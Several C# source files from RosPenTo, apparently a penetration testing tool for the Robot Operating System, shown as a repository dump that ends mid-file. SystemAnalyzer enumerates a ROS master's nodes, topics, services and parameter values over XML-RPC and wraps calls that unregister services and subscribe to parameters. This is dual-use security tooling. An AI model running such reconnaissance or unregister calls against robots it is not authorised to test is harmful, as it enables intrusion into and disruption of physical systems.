| 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Net; 17 | using System.Net.Sockets; 18 | using System.Threading; 19 | using System.Text.RegularExpressions; 20 | using System.Collections.Generic; 21 | 22 | namespace RosPenTo.Network 23 | { 24 | public class EndPointManager 25 | { 26 | public static string ReplaceHostnameByIp(string uri) 27 | { 28 | string ipAdressPattern = @"^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$"; 29 | 30 | //e.g. uri = "http://127.0.0.1:11311/" 31 | string[] splittedUri = uri.Split(':'); 32 | string hostnameOrIp = splittedUri[1].Substring(2); 33 | 34 | Match result = Regex.Match(hostnameOrIp, ipAdressPattern); 35 | if (result.Success) // uri contains ip 36 | return uri; 37 | 38 | string ip = GetIpFromHostname(hostnameOrIp); 39 | 40 | return splittedUri[0] + "://" + ip + ":" + splittedUri[2]; 41 | } 42 | 43 | public static Boolean IsValidMasterUri(string uri) 44 | { 45 | string ipAdressPattern = @"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"; 46 | string hostNamePattern = @"[a-zA-Z0-9]*"; 47 | string portNumberPattern = @"[1-9]+[0-9]*"; 48 | 49 | string uriPattern = @"^http:\/\/(" + ipAdressPattern + "|" + hostNamePattern + "):" + portNumberPattern + @"\/?$"; 50 | 51 | Match result = Regex.Match(uri, uriPattern); 52 | 53 | return result.Success; 54 | } 55 | 56 | public static string GetIpFromHostname(string hostname) 57 | { 58 | List result = new List(); 59 | IPHostEntry hostEntry = Dns.GetHostEntry(hostname); 60 | 61 | // collect corresponding IPv4 addresses 62 | if (hostEntry.AddressList.Length > 0) 63 | { 64 | foreach (IPAddress ip in hostEntry.AddressList) 65 | { 66 | if (ip.AddressFamily == AddressFamily.InterNetwork) 67 | { 68 | result.Add(ip.ToString()); 69 | } 70 | } 71 | } 72 | 73 | if (result.Count == 0) 74 | { 75 | //TODO what to do if no ip or more than one ip is found? 76 | // Console.WriteLine("{0} Adresses found for hostname {1}",result.Count, hostname); 77 | return null; 78 | } 79 | 80 | return result[0]; 81 | } 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /RosPenTo/Node.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | 18 | namespace RosPenTo 19 | { 20 | public class Node:IComparable 21 | { 22 | public string Name { get; } 23 | 24 | public Dictionary> TopicPublishers { get; } = new Dictionary>(); // saves all the publisher nodes, which publishes the topic 25 | public Dictionary> TopicSubscribers { get; } = new Dictionary>(); // saves all the subscriber nodes, which subscribes the topic 26 | public ICollection Services { get; } = new List(); // saves all the provided services 27 | 28 | public Uri XmlRpcUri { get; set; } 29 | 30 | public Node(string name) 31 | { 32 | Name = name; 33 | } 34 | 35 | public override string ToString() 36 | { 37 | return string.Format("{0} (XmlRpcUri: {1})", Name, XmlRpcUri); 38 | } 39 | 40 | public int CompareTo(object obj) 41 | { 42 | if (obj == null|| !(obj is Node)) 43 | return -1; 44 | 45 | return string.Compare(Name, ((Node)obj).Name, StringComparison.Ordinal); 46 | } 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /RosPenTo/Parameter.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 |  16 | using System; 17 | 18 | public class Parameter 19 | { 20 | public string Name { get; private set; } 21 | public Type Type { get; set; } 22 | public object Value { get; set; } 23 | 24 | public Parameter(string parameterName) 25 | { 26 | Name = parameterName; 27 | } 28 | 29 | public override string ToString() 30 | { 31 | return string.Format("{0}", Name); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /RosPenTo/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Allgemeine Informationen über eine Assembly werden über die folgenden 6 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 7 | // die einer Assembly zugeordnet sind. 8 | [assembly: AssemblyTitle("RosPenTo")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("RosPenTo")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Durch Festlegen von ComVisible auf FALSE werden die Typen in dieser Assembly 18 | // für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von 19 | // COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. 20 | [assembly: ComVisible(false)] 21 | 22 | // Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird 23 | [assembly: Guid("2b652b3c-2758-40e9-b3cc-6b33a9e867d4")] 24 | 25 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 26 | // 27 | // Hauptversion 28 | // Nebenversion 29 | // Buildnummer 30 | // Revision 31 | // 32 | // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden, 33 | // übernehmen, indem Sie "*" eingeben: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | 38 | 39 | -------------------------------------------------------------------------------- /RosPenTo/Publisher.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Linq; 18 | using System.Text; 19 | using System.Threading.Tasks; 20 | 21 | namespace RosPenTo 22 | { 23 | public class Publisher : Node 24 | { 25 | public Publisher(string name) : base(name) 26 | { 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /RosPenTo/RosPenTo.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {2B652B3C-2758-40E9-B3CC-6B33A9E867D4} 8 | Library 9 | RosPenTo 10 | RosPenTo 11 | v4.5.2 12 | 512 13 | true 14 | publish\ 15 | true 16 | Disk 17 | false 18 | Foreground 19 | 7 20 | Days 21 | false 22 | false 23 | true 24 | 0 25 | 1.0.0.%2a 26 | false 27 | false 28 | true 29 | 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | DEBUG;TRACE 38 | prompt 39 | 4 40 | false 41 | 42 | 43 | AnyCPU 44 | pdbonly 45 | true 46 | bin\Release\ 47 | TRACE 48 | prompt 49 | 4 50 | false 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | ..\packages\xmlrpcnet-server.3.0.0.266\lib\net20\CookComputing.XmlRpcServerV2.dll 64 | 65 | 66 | ..\packages\xmlrpcnet.3.0.0.266\lib\net20\CookComputing.XmlRpcV2.dll 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | False 95 | Microsoft .NET Framework 4.5.2 %28x86 and x64%29 96 | true 97 | 98 | 99 | False 100 | .NET Framework 3.5 SP1 101 | false 102 | 103 | 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /RosPenTo/Service.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Linq; 18 | using System.Text; 19 | using System.Threading.Tasks; 20 | 21 | namespace RosPenTo 22 | { 23 | public class Service 24 | { 25 | public string Name { get; private set; } 26 | 27 | public Service(string serviceName) 28 | { 29 | Name = serviceName; 30 | } 31 | 32 | public override string ToString() 33 | { 34 | return string.Format("{0}", Name); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /RosPenTo/ServiceProvider.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | namespace RosPenTo 16 | { 17 | internal class ServiceProvider : Node 18 | { 19 | public ServiceProvider(string name) : base(name) 20 | { 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /RosPenTo/Subscriber.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Linq; 18 | using System.Text; 19 | using System.Threading.Tasks; 20 | 21 | namespace RosPenTo 22 | { 23 | 24 | public class Subscriber : Node 25 | { 26 | public Subscriber(string name) : base(name) 27 | { 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /RosPenTo/SystemAnalyzer.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System.Collections.Generic; 16 | using CookComputing.XmlRpc; 17 | using System.Linq; 18 | using System; 19 | using System.Net; 20 | using System.Net.Sockets; 21 | using System.Text.RegularExpressions; 22 | using RosPenTo.Network; 23 | 24 | namespace RosPenTo 25 | { 26 | 27 | public class SystemAnalyzer 28 | { 29 | IXmlRpcMasterClient _master; 30 | IXmlRpcParameterClient _parameterServer; 31 | 32 | readonly List _nodes = new List(); 33 | readonly List _topics = new List(); 34 | readonly List _services = new List(); 35 | readonly List _parameters = new List(); 36 | readonly List _communications = new List(); 37 | 38 | public List Nodes 39 | { 40 | get 41 | { 42 | return _nodes; 43 | } 44 | } 45 | 46 | public List Topics 47 | { 48 | get 49 | { 50 | return _topics; 51 | } 52 | } 53 | 54 | public List Services 55 | { 56 | get 57 | { 58 | return _services; 59 | } 60 | } 61 | 62 | public List Parameters 63 | { 64 | get 65 | { 66 | return _parameters; 67 | } 68 | } 69 | 70 | public List Communications 71 | { 72 | get 73 | { 74 | return _communications; 75 | } 76 | } 77 | 78 | public string URL 79 | { 80 | get 81 | { 82 | return _master.Url; 83 | } 84 | } 85 | 86 | public SystemAnalyzer(IXmlRpcMasterClient master, IXmlRpcParameterClient parameterServer) 87 | { 88 | _master = master; 89 | _parameterServer = parameterServer; 90 | } 91 | 92 | public void Update() 93 | { 94 | _nodes.Clear(); 95 | _topics.Clear(); 96 | _services.Clear(); 97 | _parameters.Clear(); 98 | _communications.Clear(); 99 | 100 | Dictionary foundTopics = AnalyzeTopicTypes(); 101 | AnalyzeNodes(foundTopics); 102 | AnalyzeParameterNames(); 103 | AnalyzeParameterTypesAndValues(); 104 | SetXmlRpcUriForAllNodes(); 105 | } 106 | 107 | private Dictionary AnalyzeTopicTypes() 108 | { 109 | // topicTypes is a list of [topicName, topicType] pairs 110 | var topicTypes = (object[])GetTopicTypes()[2]; 111 | 112 | Dictionary topics = new Dictionary(); 113 | foreach (var topicTypesElement in topicTypes) 114 | { 115 | string topicName = (string)((object[])topicTypesElement)[0]; 116 | string topicType = (string)((object[])topicTypesElement)[1]; 117 | 118 | Topic topic = new Topic(topicName); 119 | topic.Type = topicType; 120 | 121 | topics.Add(topicName, topic); 122 | } 123 | 124 | return topics; 125 | } 126 | 127 | private void AnalyzeNodes(Dictionary foundTopics) 128 | { 129 | var systemState = (object[])GetSystemState()[2]; 130 | if (systemState == null || !systemState.Any()) 131 | return; 132 | var publishersArray = (object[])systemState[0]; 133 | var subscribersArray = (object[])systemState[1]; 134 | var servicesArray = (object[])systemState[2]; 135 | 136 | 137 | // +++ CREATE PUBLISHERS +++ 138 | if (publishersArray.Any()) 139 | ExtractNodes(publishersArray, foundTopics); 140 | 141 | // +++ CREATE SUBSCRIBERS +++ 142 | if (subscribersArray.Any()) 143 | ExtractNodes(subscribersArray, foundTopics); 144 | 145 | // +++ Services +++ 146 | if (servicesArray.Any()) 147 | ExtractServices(servicesArray); 148 | 149 | // +++ LINK PUBLISHERS OF NODES +++ 150 | if (publishersArray.Any()) 151 | LinkPublishersOfNodes(publishersArray, foundTopics); 152 | 153 | // +++ LINK SUBSCRIBERS OF NODES +++ 154 | if (subscribersArray.Any()) 155 | LinkSubscribersOfNodes(subscribersArray, foundTopics); 156 | 157 | // +++ GENERATE TOPICS LIST +++ 158 | ISet allTopics = new HashSet(); 159 | foreach (var node in _nodes) 160 | { 161 | allTopics.UnionWith(node.TopicPublishers.Keys); 162 | allTopics.UnionWith(node.TopicSubscribers.Keys); 163 | } 164 | _topics.AddRange(allTopics.ToList()); 165 | 166 | // +++ GENERATE SERVICES LIST +++ 167 | //TODO is it possible that 2 different nodes provide the same service? 168 | foreach (var node in _nodes) 169 | _services.AddRange(node.Services); 170 | 171 | // +++ GENERATE COMMUNICATIONS LIST +++ 172 | foreach (Topic topic in Topics) 173 | { 174 | Communication comm = new Communication(topic); 175 | foreach (Node n in Nodes) 176 | { 177 | // add publishers 178 | if (n.TopicPublishers.ContainsKey(topic)) 179 | comm.Publishers.UnionWith(n.TopicPublishers[topic]); 180 | // add subscribers 181 | if (n.TopicSubscribers.ContainsKey(topic)) 182 | comm.Subscribers.UnionWith(n.TopicSubscribers[topic]); 183 | } 184 | _communications.Add(comm); 185 | } 186 | 187 | } 188 | 189 | public void AnalyzeParameterNames() 190 | { 191 | object[] getParameterNamesResponse = null; 192 | try 193 | { 194 | getParameterNamesResponse = GetParamNames(""); 195 | } 196 | catch(XmlRpcFaultException e) 197 | { 198 | Console.WriteLine(e.Message); 199 | return; 200 | } 201 | 202 | int getParameterNamesStatusCode = (int)getParameterNamesResponse[0]; 203 | string getParameterNamesStatusMessage = (string)getParameterNamesResponse[1]; 204 | 205 | if (getParameterNamesStatusCode == -1) // ERROR 206 | { 207 | Console.WriteLine("Error on the part of the caller, e.g. an invalid parameter. In general, this means that the master/slave did not attempt to execute the action."); 208 | Console.WriteLine("StatusMessage: " + getParameterNamesStatusMessage); 209 | return; 210 | } 211 | else if (getParameterNamesStatusCode == 0) // FAILURE 212 | { 213 | Console.WriteLine("Method failed to complete correctly. In general, this means that the master/slave attempted the action and failed, and there may have been side-effects as a result."); 214 | Console.WriteLine("StatusMessage: " + getParameterNamesStatusMessage); 215 | return; 216 | } 217 | else if (getParameterNamesStatusCode == 1) //SUCCESS 218 | { 219 | var parameterNames = (string[])getParameterNamesResponse[2]; 220 | if(parameterNames.Any()) 221 | { 222 | ExtractParameterNames(parameterNames); 223 | } 224 | //Console.WriteLine("ROS parameters stored"); 225 | } 226 | else 227 | { 228 | Console.WriteLine("Invalid status code received"); 229 | return; 230 | } 231 | } 232 | 233 | public void AnalyzeParameterTypesAndValues() 234 | { 235 | foreach (Parameter parameter in _parameters) 236 | { 237 | object[] getParamResponse = null; 238 | try 239 | { 240 | getParamResponse = GetParam("", parameter.Name); 241 | } 242 | catch (XmlRpcFaultException e) 243 | { 244 | Console.WriteLine(e.Message); 245 | return; 246 | } 247 | 248 | int getParamStatusCode = (int)getParamResponse[0]; 249 | string getParamStatusMessage = (string)getParamResponse[1]; 250 | 251 | if(getParamStatusCode == -1) 252 | { 253 | Console.WriteLine("Error on the part of the caller, e.g. an invalid parameter. In general, this means that the master/slave did not attempt to execute the action."); 254 | Console.WriteLine("StatusMessage: " + getParamStatusMessage); 255 | continue; 256 | } 257 | else if(getParamStatusCode == 0) 258 | { 259 | Console.WriteLine("Method failed to complete correctly. In general, this means that the master/slave attempted the action and failed, and there may have been side-effects as a result."); 260 | Console.WriteLine("StatusMessage: " + getParamStatusMessage); 261 | continue; 262 | } 263 | else if(getParamStatusCode == 1) 264 | { 265 | object value = getParamResponse[2]; 266 | //Console.WriteLine("{0}, Type:{1}", parameter.Name, value.GetType()); 267 | parameter.Type = value.GetType(); 268 | parameter.Value = value; 269 | } 270 | else 271 | { 272 | Console.WriteLine("Invalid status code received"); 273 | continue; 274 | } 275 | //Console.WriteLine("Parameter values and types analyzed"); 276 | } 277 | } 278 | private void ExtractNodes(object[] sourceArray, Dictionary topics) 279 | { 280 | var sourceLines = sourceArray.Where(l => (l as object[]).Any()) 281 | .Select(ProcessLine) 282 | .ToList(); 283 | 284 | foreach (var sl in sourceLines) 285 | { 286 | foreach (string nodeName in sl.Item2) 287 | { 288 | Node node = GetOrCreateNode(nodeName); 289 | Topic topic; 290 | if (!topics.TryGetValue(sl.Item1, out topic)) 291 | topic = new Topic(sl.Item1); 292 | 293 | if (!node.TopicPublishers.ContainsKey(topic)) 294 | node.TopicPublishers.Add(topic, new List()); 295 | 296 | if (!node.TopicSubscribers.ContainsKey(topic)) 297 | node.TopicSubscribers.Add(topic, new List()); 298 | } 299 | } 300 | } 301 | 302 | private void ExtractServices(object[] servicesArray) 303 | { 304 | var serviceLines = servicesArray.Where(l => (l as object[]).Any()) 305 | .Select(ProcessLine) 306 | .ToList(); 307 | 308 | foreach (var sl in serviceLines) 309 | { 310 | foreach (string serviceName in sl.Item2) 311 | { 312 | Node node = GetOrCreateNode(serviceName); 313 | node.Services.Add(new Service(sl.Item1)); 314 | } 315 | } 316 | } 317 | 318 | private void ExtractParameterNames(string[] parameterNameArray) 319 | { 320 | foreach(string parameterName in parameterNameArray) 321 | { 322 | bool found = false; 323 | foreach (Parameter param in _parameters) 324 | { 325 | if (param.Name.Equals(parameterName)) 326 | { 327 | found = true; 328 | break; 329 | } 330 | } 331 | if(!found) 332 | _parameters.Add(new Parameter(parameterName)); 333 | } 334 | } 335 | 336 | private Node GetOrCreateNode(string name) 337 | { 338 | Node node = _nodes.Find(n => n.Name.Equals(name)); 339 | if (node == default(Node)) 340 | { 341 | node = new Node(name); 342 | _nodes.Add(node); 343 | } 344 | 345 | return node; 346 | } 347 | 348 | private void LinkPublishersOfNodes(object[] publishersArray, Dictionary topics) 349 | { 350 | var publisherLines = publishersArray.Where(l => (l as object[]).Any()) 351 | .Select(ProcessLine) 352 | .ToList(); 353 | 354 | foreach (var pl in publisherLines) 355 | { 356 | Topic topic = topics[pl.Item1]; 357 | var publishers = _nodes.Where(n => pl.Item2.Contains(n.Name)); 358 | _nodes.Where(n => n.TopicPublishers.ContainsKey(topic)).ToList().ForEach(n => n.TopicPublishers[topic].AddRange(publishers)); 359 | } 360 | } 361 | 362 | private void LinkSubscribersOfNodes(object[] subscribersArray, Dictionary topics) 363 | { 364 | var subscriberLines = subscribersArray.Where(l => (l as object[]).Any()) 365 | .Select(ProcessLine) 366 | .ToList(); 367 | 368 | foreach (var sl in subscriberLines) 369 | { 370 | Topic topic = topics[sl.Item1]; 371 | var subscribers = _nodes.Where(n => sl.Item2.Contains(n.Name)); 372 | _nodes.Where(n => n.TopicSubscribers.ContainsKey(topic)).ToList().ForEach(n => n.TopicSubscribers[topic].AddRange(subscribers)); 373 | } 374 | } 375 | 376 | public List GetPublishersOfTopic(Topic topic) 377 | { 378 | List publishers = new List(); 379 | 380 | foreach (Node node in _nodes) 381 | { 382 | if (node.TopicPublishers.ContainsKey(topic)) 383 | publishers.AddRange(node.TopicPublishers[topic]); 384 | } 385 | 386 | return publishers; 387 | } 388 | 389 | private void SetXmlRpcUriForAllNodes() 390 | { 391 | foreach (var node in _nodes) 392 | { 393 | string uri = (string)LookupNode(node.Name)[2]; 394 | if (!uri.Equals("")) 395 | node.XmlRpcUri = new Uri(EndPointManager.ReplaceHostnameByIp(uri)); 396 | } 397 | } 398 | 399 | private object[] GetSystemState() 400 | { 401 | return _master.GetSystemState(""); 402 | } 403 | 404 | private object[] GetTopicTypes() 405 | { 406 | return _master.GetTopicTypes(""); 407 | } 408 | 409 | private object[] LookupNode(string nodeName) 410 | { 411 | return _master.LookupNode("", nodeName); 412 | } 413 | 414 | public object[] LookupService(string caller_id, string service) 415 | { 416 | return _master.LookupService(caller_id, service); 417 | } 418 | 419 | public object[] UnregisterService(string caller_id, string service, string service_api) 420 | { 421 | return _master.UnregisterService(caller_id, service, service_api); 422 | } 423 | 424 | public object[] GetParamNames(string caller_id) 425 | { 426 | return _parameterServer.GetParamNames(caller_id); 427 | } 428 | 429 | public object[] GetParam(string caller_id, string key) 430 | { 431 | return _parameterServer.GetParam(caller_id, key); 432 | } 433 | 434 | public object[] UnsubscribeParam(string caller_id, string caller_api, string key) 435 | { 436 | return _parameterServer.UnsubscribeParam(caller_id, caller_api, key); 437 | } 438 | 439 | public object[] SubscribeParam(string caller_id, string caller_api, string key) 440 | { 441 | return _parameterServer.SubscribeParam(caller_id, caller_api, key); 442 | } 443 | #region "ROS XML CRAP Parsing" 444 | private static Tuple> ProcessLine(object l) 445 | { 446 | //[topic1, [topic1Publisher1...topic1PublisherN]] ... ] 447 | return ProcessLine((object[])l); 448 | } 449 | 450 | private static Tuple> ProcessLine(object[] l) 451 | { 452 | if (!l.Any()) 453 | return null; 454 | var topicName = l[0] as string; 455 | var nodeNames = ((string[])l[1]).Distinct().ToList(); 456 | 457 | return new Tuple>(topicName, nodeNames); 458 | } 459 | #endregion 460 | } 461 | } 462 | -------------------------------------------------------------------------------- /RosPenTo/Topic.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Linq; 18 | using System.Text; 19 | using System.Threading.Tasks; 20 | 21 | namespace RosPenTo 22 | { 23 | public class Topic 24 | { 25 | public string Name { get; private set; } 26 | public string Type { get; set; } = "unknown"; 27 | 28 | public Topic(string topicName) 29 | { 30 | Name = topicName; 31 | } 32 | 33 | public override string ToString() 34 | { 35 | return string.Format("{0} (Type: {1})", Name, Type); 36 | } 37 | 38 | public int CompareTo(object obj) 39 | { 40 | if (obj == null || !(obj is Node)) 41 | return -1; 42 | return string.Compare(Name, ((Node)obj).Name, StringComparison.Ordinal); 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /RosPenTo/Uri.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Text.RegularExpressions; 18 | using Exceptions.Uri; 19 | using System.Net; 20 | using System.Net.Sockets; 21 | 22 | namespace RosPenTo 23 | { 24 | public class Uri 25 | { 26 | static string protocolPattern = @"(http|https)"; 27 | static string ipAdressPattern = @"[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"; 28 | static string hostnamePattern = @"[a-zA-Z0-9]+"; 29 | static string portPattern = @"[0-9]{4,5}"; 30 | static string uriPattern = @"^" + protocolPattern + @"\:\/\/" + @"(" + ipAdressPattern + @"|" + hostnamePattern + @")\:" + portPattern + @"[\/]{0,1}$"; 31 | 32 | public string protocol { get; set; } 33 | public string ipAdress { get; set; } 34 | public int port { get; set; } 35 | 36 | public Uri(string uri) 37 | { 38 | parseUri(uri); 39 | } 40 | 41 | private void parseUri(string uri) 42 | { 43 | Match result; 44 | 45 | result = Regex.Match(uri, uriPattern); 46 | if (!result.Success) 47 | { 48 | throw new UriDoesNotMatchPatternException("Uri does not match pattern!"); 49 | } 50 | 51 | string[] splittedUri = uri.Split(':'); 52 | 53 | //1. set protocol 54 | protocol = splittedUri[0]; 55 | 56 | //2. set ip 57 | string hostnameOrIp = splittedUri[1].Substring(2); 58 | result = Regex.Match(hostnameOrIp, @"^" + hostnamePattern + @"$"); 59 | if (result.Success) 60 | { 61 | string[] addresses = getIpfromHostname(hostnameOrIp); 62 | if (addresses.Length != 1) 63 | { 64 | // TODO: how to handle this? 65 | // Ethernet-Adapter LAN-Verbindung & Ethernet-Adapter VirtualBox Host-Only Network 66 | // both result an ipAdress to hostname 67 | Console.WriteLine("Check for second ip!"); 68 | } 69 | ipAdress = addresses[0]; 70 | } 71 | else 72 | { 73 | ipAdress = hostnameOrIp; 74 | } 75 | 76 | //3. set port 77 | port = Int32.Parse(splittedUri[2].Replace("/", "")); 78 | 79 | } 80 | 81 | private string[] getIpfromHostname(string hostname) 82 | { 83 | List result = new List(); 84 | IPHostEntry hostEntry = Dns.GetHostEntry(hostname); 85 | 86 | if (hostEntry.AddressList.Length > 0) 87 | { 88 | foreach (IPAddress ip in hostEntry.AddressList) 89 | { 90 | if (ip.AddressFamily == AddressFamily.InterNetwork) 91 | { 92 | result.Add(ip.ToString()); 93 | } 94 | } 95 | } 96 | return result.ToArray(); 97 | } 98 | 99 | public new string ToString 100 | { 101 | get 102 | { 103 | return protocol + @"://" + ipAdress + @":" + port + @"/"; 104 | } 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /RosPenTo/XmlRpcFactory.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM 